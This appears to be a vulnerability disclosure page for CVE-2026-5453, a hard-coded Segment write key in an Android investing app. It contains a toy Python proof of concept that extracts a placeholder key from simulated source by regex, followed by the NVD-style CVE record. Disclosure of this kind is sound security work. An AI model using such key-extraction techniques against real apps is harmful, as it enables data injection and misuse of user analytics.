CVE-2026-5453

#!/usr/bin/env python3 """ PoC for CVE-2026-5453: Hardcoded Cryptographic Key Extraction This script simulates the extraction of the SEGMENT_WRITE_KEY from the decompiled source. """ import re # Simulated content of the vulnerable file: br/com/rico/mobile/di/SegmentSettingsModule.java VULNERABLE_FILE_CONTENT = """ package br.com.rico.mobile.di; public class SegmentSettingsModule { // VULNERABILITY: Hardcoded key exposed in source code private static final String SEGMENT_WRITE_KEY = "HARDCODED_SECRET_KEY_12345"; public String getSegmentKey() { return SEGMENT_WRITE_KEY; } } """ def extract_key(source_code): """Extracts the SEGMENT_WRITE_KEY using regex.""" # Pattern to match the variable assignment pattern = r'SEGMENT_WRITE_KEY\s*=\s*"([^"]+)"' match = re.search(pattern, source_code) if match: return match.group(1) return None def main(): print("[*] Attempting to extract hardcoded key from SegmentSettingsModule.java...") key = extract_key(VULNERABLE_FILE_CONTENT) if key: print(f"[+] Success! Extracted Key: {key}") print("[!] Impact: Attacker can now use this key to decrypt local data or inject analytics.") else: print("[-] Key not found.") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-5453", "sourceIdentifier": "[email protected]", "published": "2026-04-03T05:16:23.710", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in Rico só vantagem pra investir App up to 4.58.32.12421 on Android. This issue affects some unknown processing of the file br/com/rico/mobile/di/SegmentSettingsModule.java of the component br.com.rico.mobile. Such manipulation of the argument SEGMENT_WRITE_KEY leads to use of hard-coded cryptographic key\r . The attack can only be performed from a local environment. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:N/A:N", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-320"}, {"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://vuldb.com/submit/781758", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355041", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355041/cti", "source": "[email protected]"}, {"url": "https://www.notion.so/Segment-Write-Key-Exposure-Leading-to-Data-Injection-and-User-Profile-Manipulation-In-br-com-rico-mo-3262de3f97fb800a9bfef6e6fd7d7179?source=copy_link", "source": "[email protected]"}]}}